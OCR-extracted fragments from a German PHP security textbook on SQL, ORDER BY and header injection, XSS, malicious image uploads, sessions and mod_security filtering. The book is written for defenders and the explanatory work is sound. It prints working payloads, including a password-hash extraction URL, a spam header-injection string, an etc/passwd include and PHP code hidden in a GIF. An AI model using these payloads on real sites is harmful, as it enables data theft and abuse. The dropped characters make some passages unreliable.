235 Wen
447. sw wird meist ohne oder in einer SQL Query verwendet Ein String VARCHAR TEXT usw wird immer mit oder im SQL Statement umschlossen Das sind wichtige Informationen die wir f r eine erfolgreiche SQL Injection ben tigen Ein Typ Date wird entweder als String oder als Number an eine SQL Datenbank bergeben je nachdem in welchem display_errors off _SERVER HTTP_USER _ AGENT ndern Datentypen von Tabellenfeldern 24 5 SQL Injection SQL Injection ber URL durchf hren Unsichere SQL Abfrage Aufgel ste SQL Query Fehlermeldung der Datenbank Format dieser vorliegt Ein Unix Timestamp ist vom Typ Number ein Format String wie YYYY MM DD HH MM SS ist ein String 5 2 1 GET Parameter GET Parameter sind Daten die an die URL angeh ngt oder durch ein Formular mit dem Attribut method GET an eine Applikation berge ben werden Durch Ver ndern eines dieser Parameter kann berpr ft werden ob bei diesem Parameter eine SQL Injection m glich ist Wird ein Formular ber die GET Methode an den Server bermit telt kann jedes Formularfeld mit seinem Namen auch an die URL angeh ngt werden Mit index php formularfeld_name value kann auch hier einfach eine SQL Injection Schwachstelle identifiziert werden ndert man nun einen dieser Parameter so k nnen Effekte auftreten die der Entwickler der Applikation nicht bedacht hat und dementsprechend unbehandelt l sst Durch Anh ngen
448. synth pass allow Den zutreffenden Request durchlassen sowie die Bearbeitung der Filterliste abbrechen Keine weiteren Filter werden mehr auf den Request angewendet Beispiel SecFilterSelective SERVER_ADDR 127 0 0 1 allow deny Abbruch der Filterbearbeitung und Ablehnung des jeweiligen Requests Sofern Sie nicht diese Aktion mit der Aktion status verbinden sendet mod_security einen Header 500 Internal Server Error Beispiel SecFilter bin bash deny Die sogenannten Sekund raktionen werden stets bei einem Filter treffer ausgef hrt egal ob danach noch weitere Filter durchsucht werden oder nicht Sie sollten stets mit einer Prim raktion kombi niert werden status Mit dieser Aktion gefolgt von einem numerischen Sta tuscode wird dieser Code als HTTP Response Code gesendet Beispiel SecFilter etc passwd deny status 403 redirect Mittels dieser Aktion k nnen Sie einen HTTP Redi rect ber den Header 302 ausl sen Der Besucher dessen Request auf den Filter zutraf wird dann auf eine von Ihnen anzugebende URL umgeleitet Beispiel SecFilter 2527 deny redirect http www php sicherheit de 12 3 mod_security 287 e exec Sobald der Filter ausgel st wird f hrt mod_security ein externes Programm aus Pro Filtertreffer kann die Aktion exec nur einmal ausgef hrt werden und dem externen Pro gramm k nnen Sie keine Parameter bergeben Alle Informati onen m ssen dem aktuelle
449. t GIFEYATATETAE EEEEEEE E E UTDATEE E E EE ererAre Are E B BD A lt php echo php sicherheit gt Auch hierbei handelt es sich um ein richtiges Bild aber es enth lt Schadcode Dieser wird beim Vorhandensein einer zweiten Schwach stelle z B einem Include auf dieses Bild ausgef hrt lt php include _GET page gt http www php sicherheit de index php page bild gif GIF89a D php sicherheit Ein normaler Aufruf ber die Adressleiste des Browsers funktioniert nicht http www php sicherheit de uploads bild gif Bei diesem Aufruf wird kein PHP Code interpretiert sondern der Webserver liefert lediglich das Bild aus Bei einer Schwachstelle die ein Inkludieren einer beliebigen Datei erlaubt wird der enthaltene PHP Ausgabe getImagesSize Schadhafter PHP Code in einem Bild versteckt Unsicherer PHP Code Aufruf ber den Browser Die Ausgabe am Bildschirm Aufruf ber den Browser 92 8 Upload Formulare Die Extension Filelnfo Installation mit dem PEAR Installer Manuelle Installation als dynamische Extension Eine berpr fung des MIME Types einer Word Datei Code im Bild interpretiert da die Funktion include erst den vorhan denen PHP Code ausf hrt und dann die Ausgabe zur ckgibt 8 7 Andere Dateitypen berpr fen In der PHP Extension Community Library PECL gibt es eine Erwei terung f r PHP mit der man den MIME Type verschiedener Dateien pr fen kann Die
450. t 70 Cross Site Request Forgery Siehe CSRF 112 Cross Site Scripting Siehe XSS 81 CSRF 112 als Firewall Brecher 114 BBCode 115 Gefahrenpotenzial 321 Schutz gegen 116 D Dateien und Security 27 Dateien von Entwicklungswerk zeugen 30 Include und Backup Dateien 29 tempor re Dateien 28 vergessene oder versteckte Dateien 31 32 Datenbanksystem erkennen 26 versionsabh ngige SQL Abfragen 26 Defacement 325 Default User 41 Defense in Depth 5 Deserialisierung 210 Dictionary Attacke 152 disable_classes 226 disable_functions 225 E Eingaben berpr fen Siehe Varia blen pr fen 67 esacpeShellCmd 62 escapeshellarg 63 eval 61 exec 62 Exploit_ 326 F FastCGI 235 Fehler in PHP 209 Fehlererzeugung 53 File Upload Bug 210 file_get_contents 61 file_put_contents 61 Fingerprinting 22 326 fopen 61 Format String Schwachstellen 248 Formulare Formulardaten manipulieren 64 verstecke Formularfelder 327 Vervollst ndigung verhindern 85 Formularfelder versteckte 327 fpassthru 62 Full Path Disclosure_ 320 G GET 46 getimagesize 117 GET Parameter 124 get_env 315 Google Hacking 42 H Hardening Patch 246 generelle Optionen 260 Installation 255 Konfiguration 260 Logging 263 Upload Konfiguration 271 Variablenfilter 268 header 55 56 Hidden Form Felder 327 htmlentities 72 95 htmilspecialchars 72 HTTP Response Splitting 12 51 55 252 263 Gefahrenpotenzial 320 HTTPrint 22
451. t top location href http www boeseseite de lt script gt Bereits diese einfache und in vielen F llen auch durchaus erw nschte Funktion kann f r XSS Attacken missbraucht werden hier um Besucher auf die eigene Webseite umzuleiten Ist es dem Angreifer m glich JavaScript JScript ActiveX oder andere clientbasierte dyna mische Sprachelemente in einer Seite zu platzieren kann er auch fast beliebig Texte austauschen bereits gesetzte Links manipulieren und so z B Phishing Angriffe vorbereiten oder ausf hren Da der Angriff auf dem Client und nicht auf dem Server stattfin det ist er f r den Administrator oft nicht ohne Weiteres ersichtlich lediglich Intrusion Detection Systeme oder Hardening Methoden wie mod_security siehe Kapitel 11 k nnen XSS Angriffe unter Umst n den ausfindig machen und den Webmaster darauf hinweisen 43 Warum XSS gef hrlich ist Zun chst k nnte man davon ausgehen dass ein XSS Angriff das Pro blem des Clients ist der ihn ausf hrt Wenn jemand in seinem eigenen Browser ein JavaScript Popup erzeugen kann ist das doch keine Gefahr f r Ihre PHP Anwendung oder XSS kann dann zu einer Gefahr f r sensible Daten werden wenn die Schwachstelle auf einer Site vom Angreifer den Opfern irgendwie untergeschoben werden kann Bei Foren und Blogs oder bei CMS gest tzten Seiten die Benutzerkommentare zulassen ist dies einfach Versieht der Angreifer einen Kommentar mit Schadcode wird e
452. t haben sich kluge K pfe Gedanken um die Sicherung der Daten und Systeme gegen Miss brauch gemacht Die resultierenden Sicherheitskonzepte sind oft grunds tzlich fehlerhaft etwa indem sie nur zur Zeit der Erstellung aktuelle Technologien ber cksichtigen oder sich auf die Geheimhal tung bestimmter Daten verlassen Beides hat sich in der Vergangenheit oft als Trugschluss erwiesen Auch Verschl sselungsalgorithmen oder Verfahren zur Erh hung der Sicherheit sind nicht dadurch vertrauensw rdig dass sie von ihrem Entwickler geheim gehalten werden Obwohl die Mechanismen zur Passwortverschl sselung z B bei Microsoft Windows nicht ffentlich zug nglich waren konnten sie doch berwunden werden Der lange Zeit als un berwindbar geltende RC5 64 Verschl sse lungsalgorithmus wurde von einem Projekt Zehntausender Anwender 4 http www schneier com Second Order 1 Einleitung auf der ganzen Welt in gut vier Jahren geknackt Laut Moores Gesetz verdoppelt sich die Leistung der jeweils aktuellen Prozessorgeneration immer noch alle 18 Monate Pr fsummen die mit den Algorithmen SHA 1 oder MDS erstellt wurden lassen sich inzwischen in endlicher Zeit durch sogenannte Kollisionen also die Erstellung einer identischen Pr fsumme f r zwei verschiedene Ausgangswerte berlisten Daher sollte ein Sicherheitskonzept nicht daraus bestehen sich auf die Vertraulichkeit der eingesetzten Werkzeuge zu verlassen oder dar auf zu vertr
453. t den Quellcode f r ein Apachel und Apache2 Modul sodass f r beide Webserver nur ein Download ben tigt wird 1 http www modsecurity org download index html 280 12 Webserver Filter f r Apache Nach dem Download entpacken Sie das Modul bitte in ein Ver zeichnis Ihrer Wahl blich ist usr local src und wechseln dann in dieses Verzeichnis Das Verzeichnis usr local src mod_security 1 2 3 enth lt nun f r jede Serverarchitektur ein Unterverzeichnis interes sant sind die Unterverzeichnisse apachel und apache2 Je nachdem welche Apache Version von Ihnen um mod_security erweitert werden soll wechseln Sie nun in eines der beiden Verzeich nisse und geben Folgendes ein F r Apache 1 3 usr local apache bin apxs cia mod security c F r Apache 2 0 usr local apache bin apxs2 cia mod_security c Befindet sich das apxs Skript in einem anderen Verzeichnis so m ssen Sie ggf die 0 g Kommandozeile entsprechend anpassen Wenn keine grundlegenden Daten fehlen z B Compiler oder Lin ker nicht installiert sind wird mod_security nun Ihrer Architektur entsprechend kompiliert und im Apache Webserver installiert Die Apache Konfiguration wird automatisch um die notwendigen Ein tr ge zum Laden des Moduls erweitert Die Installation von mod_ security ist abgeschlossen sobald Sie den Apache Webserver stoppen und neu starten mit den Kommandos apachect 1 stop und apachect start bei apachect1 graceful werden neu installi
454. t f r die n chste Entwicklung auf dem Server belas sen Folgende Dateinamen sind f r diese Art von Dateien blich info php phpinfo php php_info php Vergessene phpinfo Dateien 132 2 Informationsgewinnung phpinfo Dateien d rfen auf keinem Webserver ffentlich erreichbar sein Bis einschlie lich PHP 5 2 0 konnte man ffentlich zug ngliche php info Dateien mit geeigneten Begriffen einfach ber Suchmaschinen fin den und so Angriffe vorbereiten Seitdem enth lt die HTML Ausgabe von phpinfo einen Header der Suchmaschinen das Indizieren und Speichern dieser Seiten verbieten soll 2 6 5 Tempor re CVS Dateien Das popul re Versionskontrollsystem CVS enth lt eine Funktion die beim Update einer Datei lokale nderungen mit einer aktualisierten Version aus dem CVS zusammenf hren kann Treten bei dieser Zusammenf hrung Konflikte auf etwa weil eine lokale nderung von der CVS Version vernichtet w rde wird eine Sicherheitskopie der alten Datei angelegt und unter dem Dateinamen dateiname php 1 2 3 gespeichert das Suffix 1 2 3 steht f r die Versionsnummer Wie bereits in Abschnitt 2 6 1 beschrieben werden diese Dateien dank mod_mime trotzdem als PHP Code geparst dieses Verhalten ist jedoch webserverabh ngig Daher sollten Sie Merge und Backupdateien stets entfernen bevor Sie ein Projekt freigeben 2 7 Pfade F r einen erfolgreichen Angriff oder Security Iest sind nicht nur die Include oder Backup Pfad
455. t nur dann einen Sinn wenn sie nicht nur vergan gene Angriffsmuster aufsp ren sondern auch soweit m glich neue Angriffe erkennen kann Das Modul mod_security geht bei seinem Regelwerk einen Kom promiss zwischen Leistung und Flexibilit t ein der es erlaubt Regeln fein genug f r eine vern nftige Anzahl von False Positives aber auch breit genug f r m glichst wenig False Negatives zu erstellen Beim Erstellen von Regeln sollte man stets versuchen seine Regeln auf die Erzielung m glichst weniger False Positives zu optimieren da diese potenziell schlimmere Auswirkungen haben k nnen Das klingt aus der Perspektive eines Sicherheitsexperten zun chst unlogisch schlie lich ist ein False Negative immerhin gleichbedeutend mit einem Angriffsversuch der nicht erkannt wird also wom glich viel gef hr 4 http www paulgraham com spam html 12 3 mod_security 285 licher Aber stellen Sie sich nur vor die Bestellung ber 10000 Papier k rbe paper bin und Aschenbecher ashtray eines Kunden in Ihrem B roartikel Shop ginge verloren weil Ihre Web Firewall auf grund der Schl sselw rter bin ein h ufig genutztes Verzeichnis f r Unix Systemprogramme und sh Dateiname der Unix Shell einen Angriff vermutet W hrend bei False Negatives eine Quote von etwa 1 realistisch ist sollten Sie versuchen weniger als 0 1 False Positives zu errei chen Das bedeutet zwar dass eine von 100 Attacken von Ihren mod_sec
456. t sich beides mit mehr oder minder hohem Aufwand voraussagen Au erdem sollte die L nge der Session ID mindestens 32 Zeichen betragen um ein zuf lliges Erraten oder Ausprobieren von Session IDs zu verhindern F r die Session ID sollten alle Buchstaben in ihrer Gro und Kleinschreibungsvariante zuz glich der Zahlen 0 9 ver wendet werden Zusammenfassend kann man sagen dass f r Sessions nie client bezogene Daten wie IP Adresse oder User Agent als alleiniges Merk mal benutzt werden d rfen Diese Daten d rfen nur im Zusammen hang mit einem wirklich zuf lligen Wert verwendet werden Unix Zeitstempel sind sicher nicht zuf llig Die L nge der Session ID sollte mindestens 32 Zeichen betragen Dies kann durch die Verwendung eines Hashalgorithmus wie MDS geschehen Ausgabe von 20 Session IDs in PHP session _regenerate_id Wie sollte eine Session ID aufgebaut sein 178 7 Sessions Brute Force Attacken auf Session IDs G ltigkeitsdauer von Sessions Verwenden Sie eine lange Session ID und einen sicheren Algorithmus zur ID Erstellung 7 5 Session Timeout Sessions die nicht nach einer bestimmten Zeit vom Server gel schte werden erlauben Angreifern beliebig lange Brute Force Attacken auf identifizierte Benutzer in Applikationen H ufig werden auch Auf diesem Computer eingeloggt bleiben Optionen entwickelt die einerseits Benutzern erlauben eine bestimmte Zeit in einer Applikation eingeloggt
457. t und dann eine neue Mail einf gt kann er das Formular zum Versand von Spam ber Ihren Webserver missbrauchen Die urspr nglich per mail zum Mailversand weitergegebene E Mail sieht etwa so aus From anfragender woanders de To info unternehmen de Subject Webanfrage Date Thu 14 Dec 2006 09 08 42 0100 Hallo habe eine Frage Ein Angreifer w rde nun eine komplette zweite Mail in den Absende Parameter schachteln indem er sie als String einf gt fake adresse r nTo spam opfer de r nBCC spam opfer2 de spam opfer3 de mehr Spam Opfer spam opfer999 de r nSubject Buy cheap Viagra r nBuy cheap Viagra and Vicodine here http spamsite com r n r n Die resultierende Mail sieht etwa folgenderma en aus der ber Hea der Injection eingef gte Teil ist fett gedruckt From fake adresse To spam opfer de BCC spam opfer2 de spam opfer3 de mehr Spam Opfer spam opfer999 de Subject Buy cheap Viagra Buy cheap Viagra and Vicodine here http spamsite com To info unternehmen de Subject Webanfrage Date Thu 14 Dec 2006 09 08 42 0100 Hallo habe eine Frage Nun werden statt einer zwei Mails versandt die erste ist eine Spam Mail die an eine gro e Menge von per Blind Carbon Copy BCC adressierten Empf ngern geht die zweite ist die eigentliche Kontakt mail die an info unternehmen de gerichtet ist 3 4 Variablen richtig pr fen el Um dieses Problem zu verhindern ist es uner
458. ten zu k nnen zu gro ist die Gefahr dass neben dem bereits erkannten Problem noch weiteres Unheil in den Daten lau ert W rden Sie eine virusverseuchte Datei ohne Unbehagen starten wenn Ihr Virenscanner behauptet einen Virus entfernt zu haben K nnte er nicht einen weiteren viel gef hrlicheren Virus bersehen haben 11 3 Installation Momentan ist weder der Suhosin Patch noch die Extension Bestandteil des Quellcodearchivs von PHP was eine separate Installation erfor dert Sie sollten aber auf jeden Fall zun chst einmal im Softwarearchiv ihrer Linux Distribution nach Suhosin suchen da es mittlerweile f r fast alle Distributionen entsprechende Suhosin Pakete gibt Die BSD Systeme FreeBSD und OpenBSD aktivieren den Suhosin Patch mittler weile sogar per Default wenn man PHP mittels des Portsystems instal liert 11 3 1 Installation des Patch Um in den Genuss der Kern Hardening Features zu kommen muss der Sourcebaum einer aktuellen PHP Version gepatcht werden Dazu ben tigen Sie neben dem Programm patch nat rlich auch eine benutzbare Compilerumgebung denn nach dem Patchen muss PHP 256 11 PHP Hardening Fehlermeldungen beim Patchen der PHP Quellen auch noch neu bersetzt werden Wollen Sie lediglich die Extension nutzen dann k nnen Sie diesen Abschnitt berspringen Als Erstes sollten Sie sich f r PHP 4 oder PHP 5 entschieden haben denn f r beide Versionen existiert noch je ein Patch auf der Webs
459. test Die BENCHMARK Funktion von MySQL 38 5 SQL Injection Auf die Sortierung kommtesan Zahlensystem Umwandlungen verwenden Dieses Statement ben tigt mehr als eine Minute zur Ausf hrung Sie k nnen sich vorstellen was passiert wenn man dieses Statement mehrmals von verschiedenen Rechnern an einen MySQL Server schickt Dieser stellt dann seinen Dienst ein und ist nicht mehr erreich bar 5 43 ORDER BY Injection Userlisten in Foren Chatr umen oder anderen Applikationen sind beliebte Ziele von Angreifern da dort ein Zugriff auf eine User Tabelle erfolgt Sind diese Listen auf Klick sortierbar k nnen diese angreifbar f r eine ORDER BY Attacke sein Die folgende Query ist ein Beispiel aus einem Forum mysql_query SELECT FROM users ORDER BY _GET sortby Hier wird per URL gesteuert nach welchem Kriterium diese Liste sor tiert wird Das ist der dazugeh rige Aufruf http www forumsbeispiel de user php sortby name Meist werden die Passw rter gehasht in der Datenbank gespeichert Mit einer ORDER BY Attacke kann man nun diesen Passwort Hash Buch stabe f r Buchstabe auslesen http www forumsbeispiel de user php sortby id 1 amp amp substring pass wd 1 1 0 desc id desc Mit dieser Query erh lt man keine Ausgabe des Buchstabens auf dem Bildschirm sondern die Liste wird anders sortiert Der Ausdruck id 1 amp amp substring passwd 1 1 0 wird je nachdem ob der erste Buchstab
460. ting Tools die versuchen bekannte Fehlerklassen im ausgef hrten Code zu erkennen und entsprechende Warnungen in ein Log zu schrei ben Mithilfe dieses Logs k nnen sicherheitskritische Fehler schon w hrend der Entwicklung erkannt und ausgebessert werden 275 12 Webserver Filter f r Apache Der Webserver ist der zentrale Angriffspunkt f r Attacken von au en daher sollte er so sicher wie m glich sein Zus tzlich bietet eine Modulschnittstelle die M glichkeit einige Probleme noch vor der Verarbeitung von PHP Skripten auszufiltern Zwei verschiedene Module stellen diese M glichkeit bereit mod_security das ein Blacklist Prinzip verfolgt sowie mod_ parmguard das eine XML basierte Variablen Whitelist imple mentiert 12 1 Einsatzgebiet von Filtermodulen Wir haben Ihnen in den vorigen Kapiteln M glichkeiten vorgestellt wie Sie Ihre PHP Anwendungen absichern und m gliche Sicherheitsl cken entsch rfen k nnen Leider hilft dieser Ansatz nicht in jedem Fall schlie lich kann und sollte ein Entwickler nicht s mtliche notwendi gen Programme und Bibliotheken selbst schreiben Mit der Verwen dung von externen Skripten stellt sich allerdings unvermeidlich die Frage wie sicher diese Produkte sind Aus Sicht der Systemsicherheit noch schlimmer trifft es Verwalter von Mehrbenutzersystemen zum Beispiel in Universit ten oder bei Webhostern Hier hat der Administrator der meist nicht selbst PHP Entwickler ist h ufig berh
461. tionsdirektive open_basedir stellt in vielen F llen einen wirksameren Schutz als der Safe Mode dar obgleich auch diese Ma nahme von ausreichend motivierten Angreifern ausgehebelt werden kann PHP Skripte d rfen nur Dateien lesen und schreiben die in dem oder den frei bersetzt offenen Grundverzeichnissen liegen alle anderen Verzeichnisse sind tabu Damit ist das open_basedir eine Art schwaches chroot f r PHP schwach weil die Funktion nicht auf Betriebssystemebene implementiert ist und somit prinzipbedingt auch umgangen werden kann So k nnen Dateien die per Shell Funktionen wie system ausgef hrt werden grunds tzlich aus dem open_basedir ausbrechen ein hnliches Problem wie beim Safe Mode F r viele Zwecke ist das open_basedir jedoch ausreichend sicher und im Gegensatz zum Safe Mode stellt es in der Regel keine Ein schr nkung der Features f r den Kunden dar 10 8 Weitere PHP Einstellungen 225 Mit einer Einstellung in php ini oder einem VirtualHost Block k nnen Sie ein oder mehrere Verzeichnisse als open_basedir definieren Diese Verzeichnisse und alle Unterverzeichnisse stehen Skripten dann offen open_basedir home www kundel usr local lib php Wie f r die PHP Konfiguration blich werden mehrere Verzeichnisse in der Direktive durch Doppelpunkte getrennt Bei der Aktivierung von open_basedir sollten Sie einige Punkte beachten um Probleme mit PHP Anwendungen zu vermeiden Zun chst sollten
462. tionshinweise Skripte und Beispiele in diesem Kapitel richten sich ausschlie lich an Anwender Unix basierter Betriebssys teme Das liegt vor allem daran dass die unter Unix eingesetzten Rech temodelle also das klassische Benutzer Gruppen Modell und viele der verwendeten Systemfunktionen unter Windows schlicht nicht zur Verf gung stehen Alle Module und Dateien deren Sicherheitsmecha nismen auf der Vergabe einer neuen Benutzer ID aufsetzen funktionie ren damit unter Windows nicht Viele der vorgestellten Module und PHP Erweiterungen funktio nieren auf Apache Servern unter Windows nur eingeschr nkt Der Internet Information Service IIS wird praktisch von keiner der hier pr sentierten L sungen unterst tzt Sie sollten bei der Anschaffung und Installation eines sicheren Servers auf jeden Fall auf die Unix Plattform setzen 10 4 Bleiben Sie aktuell Die wichtigste Regel f r ein sicheres PHP lautet wie im Grunde ber all wo Software eingesetzt wird Setzen Sie stets aktuelle Versionen von PHP ein Bei wenigen anderen freien Softwarepaketen sind die Release Zyklen so kurz wie bei PHP und im Moment werden von den Entwicklern drei verschiedene Versionen der Skriptsprache gepflegt Neben der aktuellen CVS Version die die allerletzten nderungen ent h lt HEAD werden zurzeit PHP 5 2 und 5 3 aktiv weiterentwi ckelt Verwenden Sie PHP 4 sollten Sie den sowieso l ngst berf lligen Umstieg auf Version 5 nicht l nger a
463. to_load etc passwd aufgerufen werden l dt der PHP Interpreter diese Datei auch Bei ausgeschaltetem register_globals k nnte die Variable file_to load nicht per URL berschrieben wer den Durch eine Initialisierung der Variablen file_to_load vor der Zuweisung file_to_load GET page w re dieser include Befehl auch bei eingeschaltetem register_globals abgesichert lt php file_to_load securefiles array filel php file2 php file3 php if in_array _GET page securefiles file_to_load _GET page else header Location index php gt Initialisieren Sie Variablen immer Leider wird es wegen der R ckw rtskompatibilit t oft n tig die Konfigurationsoption register_globals einzuschalten Der Grund daf r k nnen ltere Applikationen sein die auf register_globals ange wiesen sind Falls dies bei Ihrem Server der Fall ist und Sie einen zus tzlichen Schutz gegen Angriffe durch berschreiben von Variablen m chten empfehlen wir folgenden Programmcode Egal ob auf dem produktiven System nun register_globals ein oder ausgeschaltet ist hier werden nur die superglobalen Arrays _GET _POST REQUEST usw zugelassen Die Auswirkungen von register _globals on werden r ck g ngig gemacht Sicherheitsl cke durch fehlende Initialisierung 78 3 Parametermanipulation lt php if bool ini_get register_globals superglobals array _ENV _GET _POST _COOKIE
464. tokoll Das hei t ein Webserver erstellt mithilfe von PHP die Dokumente die ein Client angefordert hat und liefert diese zur ck an den Browser Danach vergisst ein Webserver diese Seite und auch den Client Es ist also kein eindeutiges Identifizie rungsmerkmal f r den Client vorhanden Aus diesem Grund wurden Webserver um ein Session Management erweitert Diese Session Mechanismen speichern lokale Daten und identifi zieren den Client anhand einer eindeutigen ID Dieser Mechanismus ist nur f r dynamische Seiten notwendig die w hrend eines mehrstufigen Programmablaufs z B einem Online Einkauf auf eine Identifikation eines Besuchers angewiesen sind Vor allem in einer Multiuser Umge bung ist dies notwendig Ein Einkaufen in einem Onlineshop mit Warenkorb eine Identifikation in einem sensiblen Bereich wie zum Beispiel Onlinebanking w re ohne Session Mechanismus nicht so komfortabel m glich denn jeder User muss nach einer eventuellen Identifikation oder Bestellaktion weiterhin eindeutig zuzuordnen sein Die eindeutige Identifikation die der Webserver jedem Besucher zu Beginn der Sitzung zuteilt heift Sitzungs oder Session ID Eine Ses sion ID wird in der Regel automatisch zugewiesen Einige Skriptspra chen so auch PHP haben daf r eingebaute Session Mechanismen bei anderen Sprachen muss der Entwickler die Session Funktionalit t Was ist Session Management 72 7 Sessions bermittlung der Session ID zwischen
465. traditionellen Mitteln kaum abfan gen Zu gut haben die Roboter sich auf die blichen Spamschutz Ma nahmen eingestellt textbasierte Filter greifen nur noch selten Ein momentan noch effektiver Schutz gegen Kommentar Spammer und automatisiertes Passwort Bruteforcing sind sogenannte CAPTCHAs CAPTCHA steht f r Completely Automated Public Turing Test to Tell Computers and Humans Apart also einen automatischen Turing Test um Computer von Menschen zu unterscheiden In der Praxis ist ein CAPTCHA ein meist audiovisuelles Merkmal das nur f r Men schen einen Sinn ergibt also etwa eine Grafik deren Inhalt sich nur f r das menschliche Auge nicht aber f r die meisten Computerprogramme erschlie t Es hat sich eingeb rgert zur Vermeidung von Spam in webbasier ten Anwendungen kleine Grafiken einzubauen die einen kurzen Schriftzug enthalten Dieser Schriftzug wird meist k nstlich verzerrt indem die Buchstaben rotiert und versetzt werden und Muster oder 6 4 Spamvermeidung mit CAPTCHAs 167 geometrische Figuren im Hintergrund sollen Computerprogramme daran hindern die Schrift automatisch zu erkennen Vereinzelt werden mittlerweile auch kurze Animationen meist in Form animierter GIF Grafiken eingesetzt um besonders sichere CAPTCHAS zu erzeugen Menschliche Benutzer jedoch k nnen den so f r Maschinen unlesbar gemachten Schriftzug lesen und tippen ihn in ein Formularfeld ab um nachzuweisen dass sie wirklich Menschen sind
466. trings berpr fen Dabei wird darauf geach tet dass das Passwort nicht nur aus Klein oder Gro buchstaben oder Zahlen besteht und dass es mindestens f nf verschiedene Zeichen ent h lt Sofern die Extension ext crack geladen ist wird der Passwort kandidat mit der Funktion crack_check auf Sicherheit berpr ft Dabei k nnen unter anderem folgende Meldungen als Return Werte berge ben werden it is too simplistic systematic it is too short it is based on a dictionary word it is based on a reversed dictionary word it does not contain enough DIFFERENT characters Ist das Passwort aus Sicht der CrackLib in Ordnung erhalten Sie einen R ckgabewert von TRUE Mit dieser kurzen Funktion k nnen Sie nicht nur die St rke neu vergebener sondern auch die bereits bestehender Passw rter berpr fen um Ihre Kunden darauf hinweisen zu k nnen dass deren Passwort ggf unsicher ist Die meisten Einbr che in Applikationen finden leider nach wie vor durch schwache Passw rter statt berpr fen Sie vom Benutzer bergebene Passw rter mit CrackLib auf Sicherheit ISO 17799 schreibt brigens in Sektion 9 3 1 f r Passw rter vor dass sie mindestens sechs Zeichen umfassen sollten leicht zu merken sind und weder aufeinanderfolgende Zeichen noch reine Buchstaben Zah len Gruppen wie bei Foobar12345 enthalten sollen Ausgabe von CrackLib Passw rter in ISO 17799 i58 6 Authentisierung und Authentifizierung
467. tte Pfade und die Dateinamen Das kann f r einen Angriff oder Security Test ausgenutzt werden In den meisten Werk zeugen gibt es Konfigurationseinstellungen um solche Indexdateien nicht mit auf dem Webserver zu speichern Auch die Entwicklungsumgebung Eclipse erzeugt unter Umst n den Projektdateien direkt im Verzeichnis das die Anwendung enth lt Die Datei project enth lt allgemeine Informationen ber das Eclipse Projekt im XML Format aber in aller Regel keine sensiblen Daten 2 6 4 Vergessene oder versteckte PHP Dateien Um die Entwicklung zu vereinfachen oder die Konfiguration der PHP Installation anzupassen wird oft eine Datei mit folgendem Inhalt angelegt lt php phpinfo gt Der Befehl phpinfo zeigt eine gro e Anzahl von Informationen ber die aktuelle Konfiguration von PHP an unter anderem die Optionen w hrend der Kompilierens und die Erweiterungen die PHP Version Informationen ber den Server die Umgebung wenn PHP als Modul kompiliert wurde die PHP Umgebung Version und Informationen zum Betriebssystem Pfade Haupt und lokale Werte der Konfigurati onsoptionen und HTTP Header Anhand dieser Informationen kann ein Angreifer nach L cken im PHP Kern oder in den eingebundenen Erweiterungen suchen und diese mit dem passenden Exploit Code aus nutzen Derartige Dateien sollten nach der Entwicklung oder Konfigura tion wieder gel scht werden Leider wird dies h ufig bersehen oder aus Bequemlichkei
468. tudentischer Mailserver den Hostname stud uni hannover de tr gt w rde ein mit schl sselwort basierten Regeln arbeitender Spamfilter in jeder Mail das Wort Stud finden dessen deutsche Bedeutung u a Hengst ist und das in dieser Bedeutung des fteren in Werbung f r diverse Erwachsenenprodukte auftaucht In j ngerer Zeit wurden flexiblere wahrscheinlichkeitsbasierte Verfahren wie die sogenannte Bayes Klassifikation eingesetzt die in Paul Grahams A plan for spam sehr gut beschrieben wird Teil weise selbstlernende Mechanismen erlauben Spamfiltern trotz immer neuer Strategien der Angreifer hohe Trefferquoten zu erreichen und gleichzeitig falsche Alarme sogenannte False Positives zu vermeiden Obwohl sich diese Klassifikation f r Webdaten im Prinzip ebenso gut einsetzen l sst wie f r E Mail hat bis dato noch keine Migration von Websicherheitstools oder gar konventionellen Firewalls hin zu Bayes Technik stattgefunden Das liegt nicht nur an der relativ auf wendigen Implementierung sondern auch an der Tatsache dass eine Bayes Klassifikation ungleich mehr Ressourcen ben tigt als eine klas sische String Matching Regel Bei Angriffen auf Webapplikationen steht der Verteidiger das sind Sie vor hnlichen Problemen wie Mailserver Verwalter die Spam fil tern m chten Scriptkiddies W rmer und Datenspione wechseln zwar nicht t glich aber doch recht h ufig die Taktik ihrer Angriffe Eine Sicherheitsl sung ha
469. u PHP Sicherheit und Vortr ge ber dieses Thema auf der Website zum Buch ver ffentlicht 12 http www php sicherheit de 7l 2 Informationsgewinnung Um einen Angriff auf einen Webserver erfolgreich durchzuf h ren ist es wichtig dass man so viel wie m glich ber den Ser ver wei In diesem Kapitel erl utern wir Ihnen wie sich potenzielle Angreifer die n tigen Informationen beschaffen k nnen und Sie lernen Gegenma nahmen kennen die die Informationsgewinnung erschweren oder ganz verhindern 2 1 Grundlagen Webserver sind komplexe Systeme deren einzelne Softwarekompo nenten durch individuelle Schwachstellen angreifbar sind Die am h ufigsten anzutreffende Konfiguration besteht aus den aufeinander aufbauenden Komponenten Betriebssystem Webserver Software Skriptsprachen und Datenbank Detailliertes Wissen ber die instal lierten Komponenten ist essenziell wenn ein System erfolgreich ange griffen bzw bei einem Security Audit auf Schwachstellen getestet wer den soll Einige dieser Komponenten sind bei Benutzung der voreinge stellten Konfigurationsoptionen sehr kommunikativ Wenn man z B eine Seite anfragt die es auf einem Server nicht gibt oder man f gt ein Sonderzeichen an einen URL Parameter an dann geben diese Komponenten mehr oder weniger sicherheitsrelevante Informationen ber sich preis Das zeigt sich in Form von Fehlermeldungen Server signaturen oder ungew hnlichem Verhalten des Webservers
470. ufschieben Die im Januar 2008 erschienene Version 4 4 8 ist laut den Entwicklern die letzte PHP 4 Version Ab August 2008 werden nicht einmal sicherheitskritische Bugfixes mehr eingespielt werden damit sind Sie ungesch tzt sobald neue Bugs in PHP 4 entdeckt werden Egal ob Sie PHP 4 oder 5 einsetzen Sie sollten stets versuchen die aktuellste Version einzusetzen Nur so k nnen Sie sicher sein dass Ihre Server nicht durch Probleme in der Zend Engine oder in mitgelieferten PHP Erweiterungen verwundbar werden Kurze Release Zyklen 10 PHPintern Configure Kommando f r DSO f higen Apache 10 5 Installation Grunds tzlich haben Sie bei der Installation von PHP im Apache Webserver zwei M glichkeiten 1 Die Installation als Apache Modul bringt bestm gliche Integra tion in den Webserver und das gr te Featureset aber auch ei nige inh rente Sicherheitsprobleme mit sich 2 Installieren Sie PHP als CGI k nnen Sie PHP Skripte besser voneinander abschotten riskieren aber Geschwindigkeitseinbu en und verlieren einige Features Bei beiden Methoden sollten Sie folgenden Hinweis im Hinterkopf behalten PHP interne 